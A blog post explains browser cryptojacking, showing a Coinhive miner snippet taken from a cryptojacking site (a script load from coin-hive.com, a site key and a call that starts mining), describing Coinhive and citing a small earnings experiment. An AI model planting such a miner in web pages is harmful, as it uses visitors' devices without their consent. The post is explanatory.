Cryptojacking JavaScript

Cryptojacking with JavaScript

A cryptojacking JavaScript web page uses your computer to mine for cryptocurrencies.

More importantly…

You don’t need to be tricked into installing cryptojacking JavaScript, because it doesn’t need to be installed.

Simply stated:

You don’t need to download anything more than the web page with cryptojacking JavaScript, because JavaScript is already the world’s most ubiquitous computing runtime.

Let’s take a closer look…

What does the code look like?

I navigated to a site that does cryptojacking and tracked down the JavaScript code that performs the cryptomining.

Here’s the source code:

<script src="https://coin-hive.com/lib/coinhive.min.js">
</script>

<script>
var miner = new CoinHive.Anonymous('B4ShXfNHJy3nEDclHBuc5i2bKJ3Sok8P');
miner.start();
</script>

The code snippet:

  1. Loads Coinhive’s JavaScript library.
  2. Tells Coinhive which Monero account to give the mining credit.
  3. Starts the miner.

Ok, what’s Coinhive?

Coinhive offers a JavaScript miner for the Monero blockchain.

The basic idea is to offer alternatives to online advertising. Instead of showing ads to customers, leverage their devices to mine cryptocurrencies to “pay” for the free article, video, game, etc.

Customers have full privacy. Just “pay” with their capability to mine cryptocurrencies.

How much money can be made from cryptojacking?

The short answer is not much, but it depends on how much website traffic you get.

Maxence Cornet did a cryptomining experiment on a website that gets approximately 1k visits per day with a 0:55 second session duration.

The website mined 0.00947 XMR in 60 hours. That’s a total of $0.89 or $0.36 per day.

About the Author

Ray Li

Ray is a software engineer and data enthusiast who has been blogging for over a decade. He loves to learn, teach and grow. You’ll usually find him wrangling data, programming and lifehacking.

Comments 1

  1. Pingback: Hoe cyberdieven geld verdienen met jouw surfgedrag | Kilian Drewel

Leave a Reply

Your email address will not be published. Required fields are marked *

two − 2 =

This site uses Akismet to reduce spam. Learn how your comment data is processed.